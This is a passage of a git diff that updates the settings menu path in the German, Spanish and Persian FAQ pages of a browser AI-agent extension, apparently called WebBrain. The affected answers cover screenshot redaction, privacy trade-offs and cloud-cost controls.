ohne Hardware für ein vollständiges lokales Vision-Modell. Konfigurieren Sie die Vision-Aufteilung unter <strong>Einstellungen → Vision</strong> (siehe "Wie hält WebBrain Compass-LLM-Rechnungen unter Kontrolle?" oben).</p></div>
+ <div class="faq-answer"><p>Nein — es reduziert die Exposition, es ist keine Garantie. Wenn aktiviert (<strong>Einstellungen → Assistenzmodelle → Vision → Screenshot-Retuschiereinstellung</strong>, standardmäßig deaktiviert), pixelt WebBrain Formularfelder und Text, der wie eine E-Mail-Adresse oder Telefonnummer aussieht, auf jedem Screenshot <em>bevor</em> es an ein Vision-Modell gesendet wird. Die Erkennung läuft vollständig auf Ihrem Gerät über DOM-Heuristiken; es wird nichts Zusätzliches übertragen.</p><p><strong>Es ist ein Best-Effort-Ansatz mit Fail-Open.</strong> Wenn der Erkennungsdienst nicht auf einer Seite laufen kann — beispielsweise direkt nach einer Navigation, auf PDF-Betrachtern oder auf eingeschränkten Browserseiten — wird das Screenshot trotzdem <em>unretuschiert</em> gesendet, anstatt Ihre Aufgabe abzubrechen. Inhalte, die die DOM-Heuristiken nicht sehen können (auf einem Canvas gezeichneter Text, PII in Bildern, ungewöhnliche Widgets), können ebenfalls durchschlüpfen. Und die Einstellung betrifft nur Screenshots: Seiten<em>text</em>, der an das Modell gesendet wird, wird nicht retuschiert.</p><p><strong>Für vollständige Vision-Privatsphäre verwenden Sie ein lokales Modell.</strong> Mit einem Offline-Anbieter wie llama.cpp oder Ollama verlassen Screenshots und Seitentext Ihre Maschine nie, daher gibt es nichts zu retuschieren — das ist die einzige Konfiguration, bei der Privatsphäre garantiert ist. Siehe "Kann ich WebBrain komplett offline nutzen?" oben.</p><p><strong>Keine Maschine, die ein visionfähiges lokales Modell betreiben kann?</strong> Ein guter Kompromiss ist ein kleines lokales Modell für Planung und Tool-Aufrufe (schnell und leicht genug für eine bescheidene CPU/GPU) gekoppelt mit einem Cloud-Anbieter für die Vision-Unteraufrufe, mit aktivierter Screenshot-Retuschiereinstellung. Sie behalten Ihr Gespräch und Seitentext auf dem Gerät, und jeder Screenshot, der zur Cloud-Vision geht, hat zuerst formularfelder und erkannte E-Mails/Telefonnummern verwischt — reduzierte Cloud-Exposition ohne Hardware für ein vollständiges lokales Vision-Modell. Konfigurieren Sie die Vision-Aufteilung unter <strong>Einstellungen → Assistenzmodelle → Vision</strong> (siehe "Wie hält WebBrain Compass-LLM-Rechnungen unter Kontrolle?" oben).</p></div>
</details>
<details class="faq-question" id="page-context" data-faq-item>
<summary><span>Sendet WebBrain das gesamte DOM an das KI-Modell?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
diff --git a/web/docs/es/faq/index.html b/web/docs/es/faq/index.html
index e94278934..ec5511fe1 100644
--- a/web/docs/es/faq/index.html
+++ b/web/docs/es/faq/index.html
@@ -249,7 +249,7 @@
"name": "¿La opción de redacción de capturas de pantalla garantiza que mis datos privados nunca lleguen a un modelo de visión en la nube?",
"acceptedAnswer": {
"@type": "Answer",
- "text": "No — reduce la exposición, no es una garantía. Cuando está activada (Ajustes → Multimodal → Redacción de capturas de pantalla, desactivada por defecto), WebBrain pixela los campos de formulario y el texto que parece una dirección de correo o un número de teléfono en cada captura de pantalla antes de enviarla a un modelo de visión. La detección se ejecuta enteramente en tu dispositivo mediante heurísticas del DOM; no se transmite nada adicional. Es best-effort y fail-open. Si el detector no puede ejecutarse en una página — por ejemplo justo después de una navegación, en visores de PDF, o en páginas restringidas del navegador — la captura se envía igualmente sin redactar en lugar de abortar la tarea. Contenido que las heurísticas del DOM no pueden ver (texto dibujado en un canvas, datos personales dentro de imágenes, widgets poco comunes) también puede colarse. Y el ajuste solo cubre capturas de pantalla: el texto de la página enviado al modelo no se redacta con él. Para privacidad total en visión, usa un modelo local. Con un proveedor sin conexión como llama.cpp u Ollama, las capturas y el texto de la página nunca salen de tu equipo, así que no hay nada que redactar en primer lugar — esa es la única configuración en la que la privacidad está garantizada. Consulta \"¿Puedo usar WebBrain totalmente sin conexión?\" más arriba. ¿No tienes un equipo capaz de ejecutar un modelo local con visión? Un buen término medio es un modelo local pequeño para planificar y llamar herramientas (suficientemente ligero para una CPU/GPU modesta) combinado con un proveedor en la nube para las subllamadas de visión, con la Redacción de capturas de pantalla activada. Sigues manteniendo tu conversación y el texto de la página en tu dispositivo, y cada captura que sí sale hacia la visión en la nube ya tiene los campos de formulario y los correos/teléfonos detectados difuminados — menos exposición en la nube sin necesitar hardware para un modelo de visión local completo. Configura ese reparto en Ajustes → Visión (ver \"¿Cómo mantiene WebBrain controladas las facturas de los LLM en la nube?\" más arriba)."
+ "text": "No — reduce la exposición, no es una garantía. Cuando está activada (Ajustes → Modelos auxiliares → Visión → Redacción de capturas de pantalla, desactivada por defecto), WebBrain pixela los campos de formulario y el texto que parece una dirección de correo o un número de teléfono en cada captura de pantalla antes de enviarla a un modelo de visión. La detección se ejecuta enteramente en tu dispositivo mediante heurísticas del DOM; no se transmite nada adicional. Es best-effort y fail-open. Si el detector no puede ejecutarse en una página — por ejemplo justo después de una navegación, en visores de PDF, o en páginas restringidas del navegador — la captura se envía igualmente sin redactar en lugar de abortar la tarea. Contenido que las heurísticas del DOM no pueden ver (texto dibujado en un canvas, datos personales dentro de imágenes, widgets poco comunes) también puede colarse. Y el ajuste solo cubre capturas de pantalla: el texto de la página enviado al modelo no se redacta con él. Para privacidad total en visión, usa un modelo local. Con un proveedor sin conexión como llama.cpp u Ollama, las capturas y el texto de la página nunca salen de tu equipo, así que no hay nada que redactar en primer lugar — esa es la única configuración en la que la privacidad está garantizada. Consulta \"¿Puedo usar WebBrain totalmente sin conexión?\" más arriba. ¿No tienes un equipo capaz de ejecutar un modelo local con visión? Un buen término medio es un modelo local pequeño para planificar y llamar herramientas (suficientemente ligero para una CPU/GPU modesta) combinado con un proveedor en la nube para las subllamadas de visión, con la Redacción de capturas de pantalla activada. Sigues manteniendo tu conversación y el texto de la página en tu dispositivo, y cada captura que sí sale hacia la visión en la nube ya tiene los campos de formulario y los correos/teléfonos detectados difuminados — menos exposición en la nube sin necesitar hardware para un modelo de visión local completo. Configura ese reparto en Ajustes → Modelos auxiliares → Visión (ver \"¿Cómo mantiene WebBrain controladas las facturas de los LLM en la nube?\" más arriba)."
}
},
{
@@ -289,7 +289,7 @@
"name": "¿Cómo mantiene WebBrain controladas las facturas de los LLM en la nube?",
"acceptedAnswer": {
"@type": "Answer",
- "text": "Tres capas independientes: Capturas con conciencia de tokens. Antes de que cualquier imagen salga de tu máquina, WebBrain la redimensiona (se limita el lado corto manteniendo la proporción) y la comprime iterativamente en JPEG hasta que encaja en el presupuesto de tokens de imagen por turno. Una captura de 2000×1200 que te costaría unos 1.500 tokens de entrada en GPT-4o se reduce a unos 300–500 tokens sin pérdida práctica para tareas de lectura de páginas. Implementado en _fitImageDimensions con pruebas unitarias del cálculo. Recorte inteligente de contexto. El historial de conversación, la salida de herramientas y los volcados inline del DOM están acotados por turno y se recortan primero los más antiguos cuando el contexto del modelo activo se acerca al límite. No verás cómo una ejecución pasa silenciosamente de 10k tokens a 100k porque un read_page devolvió un artículo kilométrico. Modelo de visión dedicado. Combina un modelo de texto barato (p. ej. GPT-4o-mini) para planificar y llamar a herramientas con un modelo de visión (p. ej. GPT-4o) solo para las capturas, de modo que no pagues precios de modelo multimodal en cada turno. Se configura en Ajustes → Visión. Resultado: las sesiones largas con proveedores en la nube se mantienen predecibles. Para control total, usa llama.cpp local — coste por token cero."
+ "text": "Tres capas independientes: Capturas con conciencia de tokens. Antes de que cualquier imagen salga de tu máquina, WebBrain la redimensiona (se limita el lado corto manteniendo la proporción) y la comprime iterativamente en JPEG hasta que encaja en el presupuesto de tokens de imagen por turno. Una captura de 2000×1200 que te costaría unos 1.500 tokens de entrada en GPT-4o se reduce a unos 300–500 tokens sin pérdida práctica para tareas de lectura de páginas. Implementado en _fitImageDimensions con pruebas unitarias del cálculo. Recorte inteligente de contexto. El historial de conversación, la salida de herramientas y los volcados inline del DOM están acotados por turno y se recortan primero los más antiguos cuando el contexto del modelo activo se acerca al límite. No verás cómo una ejecución pasa silenciosamente de 10k tokens a 100k porque un read_page devolvió un artículo kilométrico. Modelo de visión dedicado. Combina un modelo de texto barato (p. ej. GPT-4o-mini) para planificar y llamar a herramientas con un modelo de visión (p. ej. GPT-4o) solo para las capturas, de modo que no pagues precios de modelo multimodal en cada turno. Se configura en Ajustes → Modelos auxiliares → Visión. Resultado: las sesiones largas con proveedores en la nube se mantienen predecibles. Para control total, usa llama.cpp local — coste por token cero."
}
},
{
@@ -591,7 +591,7 @@
</details>
<details class="faq-question" id="token-conscious" data-faq-item>
<summary><span>¿Cómo mantiene WebBrain controladas las facturas de los LLM en la nube?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
- <div class="faq-answer"><p>Tres capas independientes:</p><p><strong>Capturas con conciencia de tokens.</strong> Antes de que cualquier imagen salga de tu máquina, WebBrain la redimensiona (se limita el lado corto manteniendo la proporción) y la comprime iterativamente en JPEG hasta que encaja en el presupuesto de tokens de imagen por turno. Una captura de 2000×1200 que te costaría unos 1.500 tokens de entrada en GPT-4o se reduce a unos 300–500 tokens sin pérdida práctica para tareas de lectura de páginas. Implementado en <code>_fitImageDimensions</code> con pruebas unitarias del cálculo.</p><p><strong>Recorte inteligente de contexto.</strong> El historial de conversación, la salida de herramientas y los volcados inline del DOM están acotados por turno y se recortan primero los más antiguos cuando el contexto del modelo activo se acerca al límite. No verás cómo una ejecución pasa silenciosamente de 10k tokens a 100k porque un <code>read_page</code> devolvió un artículo kilométrico.</p><p><strong>Modelo de visión dedicado.</strong> Combina un modelo de texto barato (p. ej. GPT-4o-mini) para planificar y llamar a herramientas con un modelo de visión (p. ej. GPT-4o) solo para las capturas, de modo que no pagues precios de modelo multimodal en cada turno. Se configura en <strong>Ajustes → Visión</strong>.</p><p>Resultado: las sesiones largas con proveedores en la nube se mantienen predecibles. Para control total, usa llama.cpp local — coste por token cero.</p></div>
+ <div class="faq-answer"><p>Tres capas independientes:</p><p><strong>Capturas con conciencia de tokens.</strong> Antes de que cualquier imagen salga de tu máquina, WebBrain la redimensiona (se limita el lado corto manteniendo la proporción) y la comprime iterativamente en JPEG hasta que encaja en el presupuesto de tokens de imagen por turno. Una captura de 2000×1200 que te costaría unos 1.500 tokens de entrada en GPT-4o se reduce a unos 300–500 tokens sin pérdida práctica para tareas de lectura de páginas. Implementado en <code>_fitImageDimensions</code> con pruebas unitarias del cálculo.</p><p><strong>Recorte inteligente de contexto.</strong> El historial de conversación, la salida de herramientas y los volcados inline del DOM están acotados por turno y se recortan primero los más antiguos cuando el contexto del modelo activo se acerca al límite. No verás cómo una ejecución pasa silenciosamente de 10k tokens a 100k porque un <code>read_page</code> devolvió un artículo kilométrico.</p><p><strong>Modelo de visión dedicado.</strong> Combina un modelo de texto barato (p. ej. GPT-4o-mini) para planificar y llamar a herramientas con un modelo de visión (p. ej. GPT-4o) solo para las capturas, de modo que no pagues precios de modelo multimodal en cada turno. Se configura en <strong>Ajustes → Modelos auxiliares → Visión</strong>.</p><p>Resultado: las sesiones largas con proveedores en la nube se mantienen predecibles. Para control total, usa llama.cpp local — coste por token cero.</p></div>
</details>
</section>
<section class="faq-topic" id="topic-models" data-faq-topic>
@@ -685,7 +685,7 @@
</details>
<details class="faq-question" id="screenshot-redaction" data-faq-item>
<summary><span>¿La opción de redacción de capturas de pantalla garantiza que mis datos privados nunca lleguen a un modelo de visión en la nube?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
- <div class="faq-answer"><p>No — reduce la exposición, no es una garantía. Cuando está activada (<strong>Ajustes → Multimodal → Redacción de capturas de pantalla</strong>, desactivada por defecto), WebBrain pixela los campos de formulario y el texto que parece una dirección de correo o un número de teléfono en cada captura de pantalla <em>antes</em> de enviarla a un modelo de visión. La detección se ejecuta enteramente en tu dispositivo mediante heurísticas del DOM; no se transmite nada adicional.</p><p><strong>Es best-effort y fail-open.</strong> Si el detector no puede ejecutarse en una página — por ejemplo justo después de una navegación, en visores de PDF, o en páginas restringidas del navegador — la captura se envía igualmente <em>sin redactar</em> en lugar de abortar la tarea. Contenido que las heurísticas del DOM no pueden ver (texto dibujado en un canvas, datos personales dentro de imágenes, widgets poco comunes) también puede colarse. Y el ajuste solo cubre capturas de pantalla: el <em>texto</em> de la página enviado al modelo no se redacta con él.</p><p><strong>Para privacidad total en visión, usa un modelo local.</strong> Con un proveedor sin conexión como llama.cpp u Ollama, las capturas y el texto de la página nunca salen de tu equipo, así que no hay nada que redactar en primer lugar — esa es la única configuración en la que la privacidad está garantizada. Consulta "¿Puedo usar WebBrain totalmente sin conexión?" más arriba.</p><p><strong>¿No tienes un equipo capaz de ejecutar un modelo local con visión?</strong> Un buen término medio es un modelo local pequeño para planificar y llamar herramientas (suficientemente ligero para una CPU/GPU modesta) combinado con un proveedor en la nube para las subllamadas de visión, con la Redacción de capturas de pantalla activada. Sigues manteniendo tu conversación y el texto de la página en tu dispositivo, y cada captura que sí sale hacia la visión en la nube ya tiene los campos de formulario y los correos/teléfonos detectados difuminados — menos exposición en la nube sin necesitar hardware para un modelo de visión local completo. Configura ese reparto en <strong>Ajustes → Visión</strong> (ver "¿Cómo mantiene WebBrain controladas las facturas de los LLM en la nube?" más arriba).</p></div>
+ <div class="faq-answer"><p>No — reduce la exposición, no es una garantía. Cuando está activada (<strong>Ajustes → Modelos auxiliares → Visión → Redacción de capturas de pantalla</strong>, desactivada por defecto), WebBrain pixela los campos de formulario y el texto que parece una dirección de correo o un número de teléfono en cada captura de pantalla <em>antes</em> de enviarla a un modelo de visión. La detección se ejecuta enteramente en tu dispositivo mediante heurísticas del DOM; no se transmite nada adicional.</p><p><strong>Es best-effort y fail-open.</strong> Si el detector no puede ejecutarse en una página — por ejemplo justo después de una navegación, en visores de PDF, o en páginas restringidas del navegador — la captura se envía igualmente <em>sin redactar</em> en lugar de abortar la tarea. Contenido que las heurísticas del DOM no pueden ver (texto dibujado en un canvas, datos personales dentro de imágenes, widgets poco comunes) también puede colarse. Y el ajuste solo cubre capturas de pantalla: el <em>texto</em> de la página enviado al modelo no se redacta con él.</p><p><strong>Para privacidad total en visión, usa un modelo local.</strong> Con un proveedor sin conexión como llama.cpp u Ollama, las capturas y el texto de la página nunca salen de tu equipo, así que no hay nada que redactar en primer lugar — esa es la única configuración en la que la privacidad está garantizada. Consulta "¿Puedo usar WebBrain totalmente sin conexión?" más arriba.</p><p><strong>¿No tienes un equipo capaz de ejecutar un modelo local con visión?</strong> Un buen término medio es un modelo local pequeño para planificar y llamar herramientas (suficientemente ligero para una CPU/GPU modesta) combinado con un proveedor en la nube para las subllamadas de visión, con la Redacción de capturas de pantalla activada. Sigues manteniendo tu conversación y el texto de la página en tu dispositivo, y cada captura que sí sale hacia la visión en la nube ya tiene los campos de formulario y los correos/teléfonos detectados difuminados — menos exposición en la nube sin necesitar hardware para un modelo de visión local completo. Configura ese reparto en <strong>Ajustes → Modelos auxiliares → Visión</strong> (ver "¿Cómo mantiene WebBrain controladas las facturas de los LLM en la nube?" más arriba).</p></div>
</details>
<details class="faq-question" id="page-context" data-faq-item>
<summary><span>¿WebBrain envía todo el DOM al modelo de IA?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
diff --git a/web/docs/fa/faq/index.html b/web/docs/fa/faq/index.html
index 76228bc76..f42c0647e 100644
--- a/web/docs/fa/faq/index.html
+++ b/web/docs/fa/faq/index.html
@@ -249,7 +249,7 @@
"name": "آیا تنظیم ویرایش عکس صفحه تضمین می‌کند که داده‌های خصوصی من هرگز به یک مدل دید ابری نمی‌رسند؟",
"acceptedAnswer": {
"@type": "Answer",
- "text": "نه - نوردهی را کاهش می دهد، تضمینی نیست. وقتی فعال شد (تنظیمات → چند وجهی → ویرایش عکس صفحه، به طور پیش فرض خاموش است)، WebBrain فیلدها و متنی را که مانند آدرس ایمیل یا شماره تلفن در هر اسکرین شات به نظر می رسد، پیکسل می کند. قبل از به یک مدل بینایی فرستاده می شود. تشخیص به طور کامل بر روی دستگاه شما با استفاده از اکتشافی DOM اجرا می شود. هیچ چیز اضافی منتقل نمی شود این بهترین تلاش و شکست باز است. اگر آشکارساز نمی تواند در یک صفحه اجرا شود - به عنوان مثال بلافاصله پس از پیمایش، در بینندگان PDF یا در صفحات مرورگر محدود شده - تصویر صفحه همچنان ارسال می شود. ویرایش نشده به جای اینکه وظیفه خود را لغو کنید محتوایی که اکتشافی DOM نمی تواند ببیند (متن ترسیم شده روی بوم، PII درون تصاویر، ویجت های غیر معمول) نیز ممکن است از بین برود. و این تنظیمات فقط تصاویر صفحه را پوشش می دهد: صفحه متن ارسال شده به مدل توسط آن ویرایش نشده است. برای حفظ حریم خصوصی دید کامل، از یک مدل محلی استفاده کنید. با ارائه‌دهنده آفلاینی مانند llama.cpp یا Ollama، عکس‌های صفحه و متن صفحه هرگز از دستگاه شما خارج نمی‌شوند، بنابراین در وهله اول چیزی برای ویرایش وجود ندارد - این تنها پیکربندی است که در آن حریم خصوصی تضمین می‌شود. به \"آیا می توانم از WebBrain کاملا آفلاین استفاده کنم؟\" بالا آیا ماشینی ندارید که بتواند یک مدل محلی با قابلیت بینایی را اجرا کند؟ یک میانه خوب، یک مدل محلی کوچک برای برنامه‌ریزی و تماس‌های ابزاری (سریع و سبک به اندازه کافی برای یک CPU/GPU متوسط) است که با یک ارائه‌دهنده ابری برای تماس‌های فرعی ویژن جفت می‌شود، و ویرایش عکس صفحه‌نمایش روشن است. شما همچنان مکالمه و متن صفحه خود را در دستگاه نگه می دارید، و هر اسکرین شات که برای Cloud Vision باقی می ماند، فیلدهای فرم و ایمیل ها/تلفن های شناسایی شده را در ابتدا تار می کند - بدون نیاز به سخت افزار برای یک مدل دید محلی کامل، نوردهی ابر را کاهش می دهد. تقسیم بینایی را در زیر پیکربندی کنید تنظیمات → چشم انداز (به \"چگونه WebBrain صورتحساب های Cloud LLM را تحت کنترل نگه می دارد؟\" در بالا مراجعه کنید)."
+ "text": "نه - نوردهی را کاهش می دهد، تضمینی نیست. وقتی فعال شد (تنظیمات → مدل‌های کمکی → چشم انداز → ویرایش عکس صفحه، به طور پیش فرض خاموش است)، WebBrain فیلدها و متنی را که مانند آدرس ایمیل یا شماره تلفن در هر اسکرین شات به نظر می رسد، پیکسل می کند. قبل از به یک مدل بینایی فرستاده می شود. تشخیص به طور کامل بر روی دستگاه شما با استفاده از اکتشافی DOM اجرا می شود. هیچ چیز اضافی منتقل نمی شود این بهترین تلاش و شکست باز است. اگر آشکارساز نمی تواند در یک صفحه اجرا شود - به عنوان مثال بلافاصله پس از پیمایش، در بینندگان PDF یا در صفحات مرورگر محدود شده - تصویر صفحه همچنان ارسال می شود. ویرایش نشده به جای اینکه وظیفه خود را لغو کنید محتوایی که اکتشافی DOM نمی تواند ببیند (متن ترسیم شده روی بوم، PII درون تصاویر، ویجت های غیر معمول) نیز ممکن است از بین برود. و این تنظیمات فقط تصاویر صفحه را پوشش می دهد: صفحه متن ارسال شده به مدل توسط آن ویرایش نشده است. برای حفظ حریم خصوصی دید کامل، از یک مدل محلی استفاده کنید. با ارائه‌دهنده آفلاینی مانند llama.cpp یا Ollama، عکس‌های صفحه و متن صفحه هرگز از دستگاه شما خارج نمی‌شوند، بنابراین در وهله اول چیزی برای ویرایش وجود ندارد - این تنها پیکربندی است که در آن حریم خصوصی تضمین می‌شود. به \"آیا می توانم از WebBrain کاملا آفلاین استفاده کنم؟\" بالا آیا ماشینی ندارید که بتواند یک مدل محلی با قابلیت بینایی را اجرا کند؟ یک میانه خوب، یک مدل محلی کوچک برای برنامه‌ریزی و تماس‌های ابزاری (سریع و سبک به اندازه کافی برای یک CPU/GPU متوسط) است که با یک ارائه‌دهنده ابری برای تماس‌های فرعی ویژن جفت می‌شود، و ویرایش عکس صفحه‌نمایش روشن است. شما همچنان مکالمه و متن صفحه خود را در دستگاه نگه می دارید، و هر اسکرین شات که برای Cloud Vision باقی می ماند، فیلدهای فرم و ایمیل ها/تلفن های شناسایی شده را در ابتدا تار می کند - بدون نیاز به سخت افزار برای یک مدل دید محلی کامل، نوردهی ابر را کاهش می دهد. تقسیم بینایی را در زیر پیکربندی کنید تنظیمات → مدل‌های کمکی → چشم انداز (به \"چگونه WebBrain صورتحساب های Cloud LLM را تحت کنترل نگه می دارد؟\" در بالا مراجعه کنید)."
}
},
{
@@ -289,7 +289,7 @@
"name": "چگونه WebBrain صورتحساب های ابر LLM را تحت کنترل نگه می دارد؟",
"acceptedAnswer": {
"@type": "Answer",
- "text": "سه لایه مستقل: اسکرین شات های آگاه به نشانه. قبل از اینکه هر تصویری از دستگاه شما خارج شود، WebBrain اندازه آن را تغییر می‌دهد (ضلع کوتاه‌تر، حفظ نسبت تصویر) و به طور مکرر JPEG آن را فشرده می‌کند تا زمانی که با بودجه نماد تصویر در هر نوبت مطابقت داشته باشد. یک اسکرین شات 2000×1200 که برای شما حدود 1500 توکن ورودی در GPT-4o هزینه دارد، به 300 تا 500 توکن فشرده می‌شود، بدون اینکه عملاً برای کارهای خواندن صفحه از دست بدهید. اجرا شده در _fitImageDimensions با آزمون های واحد برای ریاضی بودجه. پیرایش بافت هوشمند تاریخچه مکالمه، خروجی‌های ابزار، و تخلیه‌های DOM درون خطی در هر نوبت محدود می‌شوند و زمانی که پنجره زمینه مدل فعال به پر شدن نزدیک می‌شود، در اولین قدم کوتاه می‌شوند. شما یک بالون بدون صدا از 10 هزار توکن تا 100 هزار را مشاهده نخواهید کرد زیرا read_page یک مقاله طولانی را برگرداند. مدل دید اختصاصی. یک مدل نوشتاری ارزان (مثلاً GPT-4o-mini) را برای برنامه‌ریزی و تماس‌های ابزاری با یک مدل جداگانه با قابلیت دید (مانند GPT-4o) فقط برای عکس‌های صفحه‌نمایش جفت کنید، بنابراین قیمت‌های مدل چندوجهی را در هر نوبت پرداخت نکنید. در زیر پیکربندی کنید تنظیمات → چشم انداز. نتیجه خالص: جلسات طولانی با ارائه دهندگان ابر قابل پیش بینی باقی می مانند. برای کنترل کامل، از llama.cpp به صورت محلی استفاده کنید - هزینه هر توکن صفر است."
+ "text": "سه لایه مستقل: اسکرین شات های آگاه به نشانه. قبل از اینکه هر تصویری از دستگاه شما خارج شود، WebBrain اندازه آن را تغییر می‌دهد (ضلع کوتاه‌تر، حفظ نسبت تصویر) و به طور مکرر JPEG آن را فشرده می‌کند تا زمانی که با بودجه نماد تصویر در هر نوبت مطابقت داشته باشد. یک اسکرین شات 2000×1200 که برای شما حدود 1500 توکن ورودی در GPT-4o هزینه دارد، به 300 تا 500 توکن فشرده می‌شود، بدون اینکه عملاً برای کارهای خواندن صفحه از دست بدهید. اجرا شده در _fitImageDimensions با آزمون های واحد برای ریاضی بودجه. پیرایش بافت هوشمند تاریخچه مکالمه، خروجی‌های ابزار، و تخلیه‌های DOM درون خطی در هر نوبت محدود می‌شوند و زمانی که پنجره زمینه مدل فعال به پر شدن نزدیک می‌شود، در اولین قدم کوتاه می‌شوند. شما یک بالون بدون صدا از 10 هزار توکن تا 100 هزار را مشاهده نخواهید کرد زیرا read_page یک مقاله طولانی را برگرداند. مدل دید اختصاصی. یک مدل نوشتاری ارزان (مثلاً GPT-4o-mini) را برای برنامه‌ریزی و تماس‌های ابزاری با یک مدل جداگانه با قابلیت دید (مانند GPT-4o) فقط برای عکس‌های صفحه‌نمایش جفت کنید، بنابراین قیمت‌های مدل چندوجهی را در هر نوبت پرداخت نکنید. در زیر پیکربندی کنید تنظیمات → مدل‌های کمکی → چشم انداز. نتیجه خالص: جلسات طولانی با ارائه دهندگان ابر قابل پیش بینی باقی می مانند. برای کنترل کامل، از llama.cpp به صورت محلی استفاده کنید - هزینه هر توکن صفر است."
}
},
{
@@ -591,7 +591,7 @@
</details>
<details class="faq-question" id="token-conscious" data-faq-item>
<summary><span>چگونه WebBrain صورتحساب های ابر LLM را تحت کنترل نگه می دارد؟</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
- <div class="faq-answer"><p>سه لایه مستقل:</p><p><strong>اسکرین شات های آگاه به نشانه.</strong> قبل از اینکه هر تصویری از دستگاه شما خارج شود، WebBrain اندازه آن را تغییر می‌دهد (ضلع کوتاه‌تر، حفظ نسبت تصویر) و به طور مکرر JPEG آن را فشرده می‌کند تا زمانی که با بودجه نماد تصویر در هر نوبت مطابقت داشته باشد. یک اسکرین شات 2000×1200 که برای شما حدود 1500 توکن ورودی در GPT-4o هزینه دارد، به 300 تا 500 توکن فشرده می‌شود، بدون اینکه عملاً برای کارهای خواندن صفحه از دست بدهید. اجرا شده در <code>_fitImageDimensions</code> با آزمون های واحد برای ریاضی بودجه.</p><p><strong>پیرایش بافت هوشمند</strong> تاریخچه مکالمه، خروجی‌های ابزار، و تخلیه‌های DOM درون خطی در هر نوبت محدود می‌شوند و زمانی که پنجره زمینه مدل فعال به پر شدن نزدیک می‌شود، در اولین قدم کوتاه می‌شوند. شما یک بالون بدون صدا از 10 هزار توکن تا 100 هزار را مشاهده نخواهید کرد زیرا <code>read_page</code> یک مقاله طولانی را برگرداند.</p><p><strong>مدل دید اختصاصی.</strong> یک مدل نوشتاری ارزان (مثلاً GPT-4o-mini) را برای برنامه‌ریزی و تماس‌های ابزاری با یک مدل جداگانه با قابلیت دید (مانند GPT-4o) فقط برای عکس‌های صفحه‌نمایش جفت کنید، بنابراین قیمت‌های مدل چندوجهی را در هر نوبت پرداخت نکنید. در زیر پیکربندی کنید <strong>تنظیمات → چشم انداز</strong>.</p><p>نتیجه خالص: جلسات طولانی با ارائه دهندگان ابر قابل پیش بینی باقی می مانند. برای کنترل کامل، از llama.cpp به صورت محلی استفاده کنید - هزینه هر توکن صفر است.</p></div>
+ <div class="faq-answer"><p>سه لایه مستقل:</p><p><strong>اسکرین شات های آگاه به نشانه.</strong> قبل از اینکه هر تصویری از دستگاه شما خارج شود، WebBrain اندازه آن را تغییر می‌دهد (ضلع کوتاه‌تر، حفظ نسبت تصویر) و به طور مکرر JPEG آن را فشرده می‌کند تا زمانی که با بودجه نماد تصویر در هر نوبت مطابقت داشته باشد. یک اسکرین شات 2000×1200 که برای شما حدود 1500 توکن ورودی در GPT-4o هزینه دارد، به 300 تا 500 توکن فشرده می‌شود، بدون اینکه عملاً برای کارهای خواندن صفحه از دست بدهید. اجرا شده در <code>_fitImageDimensions</code> با آزمون های واحد برای ریاضی بودجه.</p><p><strong>پیرایش بافت هوشمند</strong> تاریخچه مکالمه، خروجی‌های ابزار، و تخلیه‌های DOM درون خطی در هر نوبت محدود می‌شوند و زمانی که پنجره زمینه مدل فعال به پر شدن نزدیک می‌شود، در اولین قدم کوتاه می‌شوند. شما یک بالون بدون صدا از 10 هزار توکن تا 100 هزار را مشاهده نخواهید کرد زیرا <code>read_page</code> یک مقاله طولانی را برگرداند.</p><p><strong>مدل دید اختصاصی.</strong> یک مدل نوشتاری ارزان (مثلاً GPT-4o-mini) را برای برنامه‌ریزی و تماس‌های ابزاری با یک مدل جداگانه با قابلیت دید (مانند GPT-4o) فقط برای عکس‌های صفحه‌نمایش جفت کنید، بنابراین قیمت‌های مدل چندوجهی را در هر نوبت پرداخت نکنید. در زیر پیکربندی کنید <strong>تنظیمات → مدل‌های کمکی → چشم انداز</strong>.</p><p>نتیجه خالص: جلسات طولانی با ارائه دهندگان ابر قابل پیش بینی باقی می مانند. برای کنترل کامل، از llama.cpp به صورت محلی استفاده کنید - هزینه هر توکن صفر است.</p></div>
</details>
</section>
<section class="faq-topic" id="topic-models" data-faq-topic>
@@ -685,7 +685,7 @@
</details>
<details class="faq-question" id="screenshot-redaction" data-faq-item>
<summary><span>آیا تنظیم ویرایش عکس صفحه تضمین می‌کند که داده‌های خصوصی من هرگز به یک مدل دید ابری نمی‌رسند؟</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
- <div class="faq-answer"><p>نه - نوردهی را کاهش می دهد، تضمینی نیست. وقتی فعال شد (<strong>تنظیمات → چند وجهی → ویرایش عکس صفحه</strong>، به طور پیش فرض خاموش است)، WebBrain فیلدها و متنی را که مانند آدرس ایمیل یا شماره تلفن در هر اسکرین شات به نظر می رسد، پیکسل می کند. <em>قبل از</em> به یک مدل بینایی فرستاده می شود. تشخیص به طور کامل بر روی دستگاه شما با استفاده از اکتشافی DOM اجرا می شود. هیچ چیز اضافی منتقل نمی شود</p><p><strong>این بهترین تلاش و شکست باز است.</strong> اگر آشکارساز نمی تواند در یک صفحه اجرا شود - به عنوان مثال بلافاصله پس از پیمایش، در بینندگان PDF یا در صفحات مرورگر محدود شده - تصویر صفحه همچنان ارسال می شود. <em>ویرایش نشده</em> به جای اینکه وظیفه خود را لغو کنید محتوایی که اکتشافی DOM نمی تواند ببیند (متن ترسیم شده روی بوم، PII درون تصاویر، ویجت های غیر معمول) نیز ممکن است از بین برود. و این تنظیمات فقط تصاویر صفحه را پوشش می دهد: صفحه <em>متن</em> ارسال شده به مدل توسط آن ویرایش نشده است.</p><p><strong>برای حفظ حریم خصوصی دید کامل، از یک مدل محلی استفاده کنید.</strong> با ارائه‌دهنده آفلاینی مانند llama.cpp یا Ollama، عکس‌های صفحه و متن صفحه هرگز از دستگاه شما خارج نمی‌شوند، بنابراین در وهله اول چیزی برای ویرایش وجود ندارد - این تنها پیکربندی است که در آن حریم خصوصی تضمین می‌شود. به "آیا می توانم از WebBrain کاملا آفلاین استفاده کنم؟" بالا</p><p><strong>آیا ماشینی ندارید که بتواند یک مدل محلی با قابلیت بینایی را اجرا کند؟</strong> یک میانه خوب، یک مدل محلی کوچک برای برنامه‌ریزی و تماس‌های ابزاری (سریع و سبک به اندازه کافی برای یک CPU/GPU متوسط) است که با یک ارائه‌دهنده ابری برای تماس‌های فرعی ویژن جفت می‌شود، 